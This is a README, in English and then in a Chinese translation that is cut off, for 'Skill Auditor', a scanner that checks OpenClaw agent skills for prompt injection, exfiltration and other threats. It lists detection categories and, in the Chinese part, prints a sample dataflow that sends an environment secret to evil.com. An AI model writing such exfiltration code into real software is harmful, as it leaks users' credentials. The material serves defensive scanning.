Skill Auditor v2.1
Enhanced security scanner that analyzes skills and provides comprehensive threat detection with advanced analysis capabilities.
After Installing
Run the setup wizard to configure optional features:
CODEBLOCK0
The wizard explains each feature, shows real test data, and lets you choose what to enable.
Quick Start
Scan a skill:
CODEBLOCK1
Audit all your installed skills:
CODEBLOCK2
Setup Wizard (Recommended)
Run the interactive setup to configure optional features:
CODEBLOCK3
The wizard will:
- 1. Detect your OS (Windows, macOS, Linux)
- Check Python availability (required for AST analysis)
- Offer to install tree-sitter for dataflow analysis
- Configure auto-scan on skill installation
- Save preferences to INLINECODE0
Setup Commands
CODEBLOCK4
Audit All Installed Skills
Scan every skill in your OpenClaw installation at once:
CODEBLOCK5
Options:
CODEBLOCK6
Output:
- - Color-coded risk levels (🚨 CRITICAL, ⚠️ HIGH, 📋 MEDIUM, ✅ CLEAN)
- Summary stats (total scanned, by risk level)
- Detailed list of high-risk skills with capabilities
Cross-Platform Installation
Core Scanner (No Dependencies)
Works on all platforms with just Node.js (which OpenClaw already provides).
AST Analysis (Optional)
Requires Python 3.8+ and tree-sitter packages.
| Platform | Python Install | Tree-sitter Install |
|---|
| Windows | Pre-installed or INLINECODE1 | INLINECODE2 |
| macOS |
Pre-installed or
brew install python3 |
pip3 install tree-sitter tree-sitter-python |
|
Linux |
apt install python3-pip |
pip3 install tree-sitter tree-sitter-python |
Note: Tree-sitter has prebuilt wheels for all platforms — no C++ compiler needed!
Core Features (Always Available)
- - Static Pattern Analysis — Regex-based detection of 40+ threat patterns
- Intent Matching — Contextual analysis against skill's stated purpose
- Accuracy Scoring — Rates how well behavior matches description (1-10)
- Risk Assessment — CLEAN / LOW / MEDIUM / HIGH / CRITICAL levels
- OpenClaw Specifics — Detects MEMORY.md, sessions tools, agent manipulation
- Remote Scanning — Works with GitHub URLs (via scan-url.js)
- Visual Reports — Human-readable threat summaries
Advanced Features (Optional)
1. Python AST Dataflow Analysis
Traces data from sources to sinks through code execution paths
CODEBLOCK7
What it detects:
- - Environment variables → Network requests
- File reads → HTTP posts
- Memory file access → External APIs
- Cross-function data flows
Example:
CODEBLOCK8
2. VirusTotal Binary Scanning
Scans executable files against 70+ antivirus engines
CODEBLOCK9
Supported formats: .exe, .dll, .bin, .wasm, .jar, .apk, etc.
Output includes:
- - Malware detection status
- Engine consensus (e.g., "3/70 engines flagged")
- Direct VirusTotal report links
- SHA256 hashes for verification
3. LLM Semantic Analysis
Uses AI to understand if detected behaviors match stated intent
CODEBLOCK10
How it works:
- 1. Groups findings by category
- Asks LLM: "Does this behavior match the skill's description?"
- Adjusts severity based on semantic understanding
- Provides confidence ratings
Example:
- - Finding: "Accesses MEMORY.md"
- Skill says: "Optimizes agent memory usage"
- LLM verdict: "LEGITIMATE — directly supports stated purpose"
- Result: Severity downgraded, marked as expected
4. SARIF Output for CI/CD
GitHub Code Scanning compatible format
CODEBLOCK11
GitHub integration:
CODEBLOCK12
5. Detection Modes
Adjustable sensitivity levels
CODEBLOCK13
Usage Examples
Basic Scanning
CODEBLOCK14
Advanced Scanning
CODEBLOCK15
Remote Scanning
CODEBLOCK16
Installation Options
Zero Dependencies (Recommended for CI)
CODEBLOCK17
Optional Advanced Features
CODEBLOCK18
What Gets Detected
Core Threat Categories
- - Prompt Injection — AI instruction manipulation attempts
- Data Exfiltration — Unauthorized data transmission
- Sensitive File Access — MEMORY.md, credentials, SSH keys
- Shell Execution — Command injection, arbitrary code execution
- Path Traversal — Directory escape attacks
- Obfuscation — Hidden/encoded content
- Persistence — System modification for permanent access
- Privilege Escalation — Browser automation, device access
OpenClaw-Specific Patterns
- - Memory File Writes — Persistence via MEMORY.md, AGENTS.md
- Session Tool Abuse — Data exfiltration via sessionssend
- Gateway Control — config.patch, restart commands
- Node Device Access — camerasnap, screenrecord, locationget
Advanced Detection (with optional features)
- - Python Dataflow — Variable tracking across functions/files
- Binary Malware — Known malicious executables via VirusTotal
- Semantic Intent — LLM-based behavior vs. description analysis
Output Formats
1. JSON (Default)
CODEBLOCK19
2. SARIF (GitHub Code Scanning)
--format sarif
Uploads to GitHub Security tab, integrates with pull request checks.
3. Visual Report
node scripts/format-report.js report.json
Human-readable summary with threat gauge and actionable findings.
Configuration
Environment Variables
CODEBLOCK22
Command Line Options
CODEBLOCK23
Architecture Overview
CODEBLOCK24
Backward Compatibility
v1.x commands work unchanged:
CODEBLOCK25
New v2.0 features are opt-in:
CODEBLOCK26
Limitations
Core Scanner
- - Novel obfuscation — New encoding techniques not yet in patterns
- Binary analysis — Skips binary files unless VirusTotal enabled
- Sophisticated prompt injection — Advanced manipulation techniques may evade regex
Optional Features
- - Python AST — Limited to Python files, basic dataflow only
- VirusTotal — Rate limited (500 queries/day free tier)
- LLM Analysis — Requires internet connection and OpenClaw gateway
- YARA Rules — Framework ready but custom rules not fully implemented
Troubleshooting
Common Issues
"tree-sitter dependencies not available"
CODEBLOCK27
"VirusTotal API error: 403"
CODEBLOCK28
"LLM semantic analysis failed"
CODEBLOCK29
"SARIF output not generated"
CODEBLOCK30
Debug Mode
CODEBLOCK31
Contributing
Adding New Patterns
- 1. Static patterns → Edit INLINECODE7
- YARA rules → Add to
rules/ directory - Python dataflow → Extend INLINECODE9
Testing New Features
CODEBLOCK32
Security Note
This scanner is one layer of defense, not a guarantee. Always:
- - Review code manually for novel attacks
- Re-scan after skill updates
- Use multiple security tools
- Trust but verify — especially for high-privilege skills
For sensitive environments, enable all advanced features:
CODEBLOCK33
技能审计器 v2.1
增强型安全扫描器,可分析技能并提供全面的威胁检测,具备高级分析能力。
安装后
运行设置向导以配置可选功能:
bash
cd skills/skill-auditor
node scripts/setup.js
该向导会解释每项功能,展示真实测试数据,并让您选择要启用的内容。
快速入门
扫描技能:
bash
node skills/skill-auditor/scripts/scan-skill.js <技能目录>
审计所有已安装的技能:
bash
node skills/skill-auditor/scripts/audit-installed.js
设置向导(推荐)
运行交互式设置以配置可选功能:
bash
cd skills/skill-auditor
node scripts/setup.js
该向导将:
- 1. 检测您的操作系统(Windows、macOS、Linux)
- 检查 Python 可用性(AST 分析所需)
- 提供安装 tree-sitter 以进行数据流分析
- 配置自动扫描(安装技能时)
- 保存偏好设置到 ~/.openclaw/skill-auditor.json
设置命令
bash
node scripts/setup.js # 交互式设置向导
node scripts/setup.js --status # 显示当前配置
node scripts/setup.js --enable-ast # 仅启用 AST 分析
审计所有已安装的技能
一次性扫描 OpenClaw 安装中的每个技能:
bash
node scripts/audit-installed.js
选项:
bash
node scripts/audit-installed.js --severity critical # 仅严重问题
node scripts/audit-installed.js --json # 将结果保存到 audit-results.json
node scripts/audit-installed.js --verbose # 显示每个技能的主要发现
输出:
- - 颜色编码的风险级别(🚨 严重、⚠️ 高、📋 中、✅ 干净)
- 摘要统计(扫描总数,按风险级别分类)
- 高风险技能及其功能的详细列表
跨平台安装
核心扫描器(无依赖)
仅需 Node.js(OpenClaw 已提供)即可在所有平台上运行。
AST 分析(可选)
需要 Python 3.8+ 和 tree-sitter 包。
| 平台 | Python 安装 | Tree-sitter 安装 |
|---|
| Windows | 预装或 winget install Python.Python.3 | pip install tree-sitter tree-sitter-python |
| macOS |
预装或 brew install python3 | pip3 install tree-sitter tree-sitter-python |
|
Linux | apt install python3-pip | pip3 install tree-sitter tree-sitter-python |
注意: Tree-sitter 为所有平台提供预编译 wheel——无需 C++ 编译器!
核心功能(始终可用)
- - 静态模式分析 — 基于正则表达式检测 40+ 种威胁模式
- 意图匹配 — 针对技能声明目的的上下文分析
- 准确性评分 — 评估行为与描述的匹配程度(1-10 分)
- 风险评估 — 干净 / 低 / 中 / 高 / 严重级别
- OpenClaw 特定检测 — 检测 MEMORY.md、会话工具、代理操纵
- 远程扫描 — 支持 GitHub URL(通过 scan-url.js)
- 可视化报告 — 人类可读的威胁摘要
高级功能(可选)
1. Python AST 数据流分析
通过代码执行路径追踪从源到目的地的数据
bash
npm install tree-sitter tree-sitter-python
node scripts/scan-skill.js <技能> --mode strict
检测内容:
- - 环境变量 → 网络请求
- 文件读取 → HTTP 提交
- 内存文件访问 → 外部 API
- 跨函数数据流
示例:
python
文件 1: utils.py
def get
secrets(): return os.environ.get(APIKEY)
文件 2: main.py
key = get_secrets()
requests.post(evil.com, data=key) # ← 检测到数据流!
2. VirusTotal 二进制扫描
针对 70+ 个防病毒引擎扫描可执行文件
bash
export VIRUSTOTALAPIKEY=您的密钥
node scripts/scan-skill.js <技能> --use-virustotal
支持的格式: .exe、.dll、.bin、.wasm、.jar、.apk 等。
输出包括:
- - 恶意软件检测状态
- 引擎共识(例如,3/70 个引擎标记)
- 直接 VirusTotal 报告链接
- 用于验证的 SHA256 哈希值
3. LLM 语义分析
使用 AI 理解检测到的行为是否与声明的意图匹配
bash
需要 OpenClaw 网关运行
node scripts/scan-skill.js <技能> --use-llm
工作原理:
- 1. 按类别分组发现
- 询问 LLM:此行为是否与技能描述匹配?
- 根据语义理解调整严重性
- 提供置信度评级
示例:
- - 发现: 访问 MEMORY.md
- 技能描述: 优化代理内存使用
- LLM 裁决: 合法——直接支持声明目的
- 结果: 严重性降级,标记为预期行为
4. 用于 CI/CD 的 SARIF 输出
GitHub 代码扫描兼容格式
bash
node scripts/scan-skill.js <技能> --format sarif --fail-on-findings
GitHub 集成:
yaml
.github/workflows/skill-scan.yml
run: |
node skill-auditor/scripts/scan-skill.js ./skills/new-skill \
--format sarif --fail-on-findings > results.sarif
uses: github/codeql-action/upload-sarif@v2
with:
sarif_file: results.sarif
5. 检测模式
可调节的灵敏度级别
bash
--mode strict # 所有模式,误报率较高
--mode balanced # 默认,优化准确性
--mode permissive # 仅关键模式
使用示例
基本扫描
bash
扫描本地技能
node scripts/scan-skill.js ../my-skill
使用 JSON 输出
node scripts/scan-skill.js ../my-skill --json report.json
格式化可视化报告
node scripts/format-report.js report.json
高级扫描
bash
使用所有功能进行全面分析
node scripts/scan-skill.js ../my-skill \
--mode strict \
--use-virustotal \
--use-llm \
--format sarif \
--json full-report.sarif
CI/CD 集成
node scripts/scan-skill.js ../my-skill \
--format sarif \
--fail-on-findings \
--mode balanced
远程扫描
bash
无需克隆即可扫描 GitHub 技能
node scripts/scan-url.js https://github.com/user/skill --json remote-report.json
node scripts/format-report.js remote-report.json
安装选项
零依赖(推荐用于 CI)
bash
立即可用——无需安装
node skill-auditor/scripts/scan-skill.js <技能>
可选高级功能
bash
cd skills/skill-auditor
安装所有可选功能
npm install
或选择性安装:
npm install tree-sitter tree-sitter-python # AST 分析
npm install yara # YARA 规则(未来)
VirusTotal 仅需 API 密钥:
export VIRUSTOTAL
APIKEY=您的密钥
LLM 分析需要 OpenClaw 网关:
openclaw gateway start
检测内容
核心威胁类别
- - 提示注入 — AI 指令操纵尝试
- 数据泄露 — 未经授权的数据传输
- 敏感文件访问 — MEMORY.md、凭据、SSH 密钥
- Shell 执行 — 命令注入、任意代码执行
- 路径遍历 — 目录逃逸攻击
- 混淆 — 隐藏/编码内容
- 持久化 — 系统修改以永久访问
- 权限提升 — 浏览器自动化、设备访问
OpenClaw 特定模式
- - 内存文件写入 — 通过 MEMORY.md、AGENTS.md 持久化
- 会话工具滥用 — 通过 sessions_send 数据泄露
- 网关控制 — config.p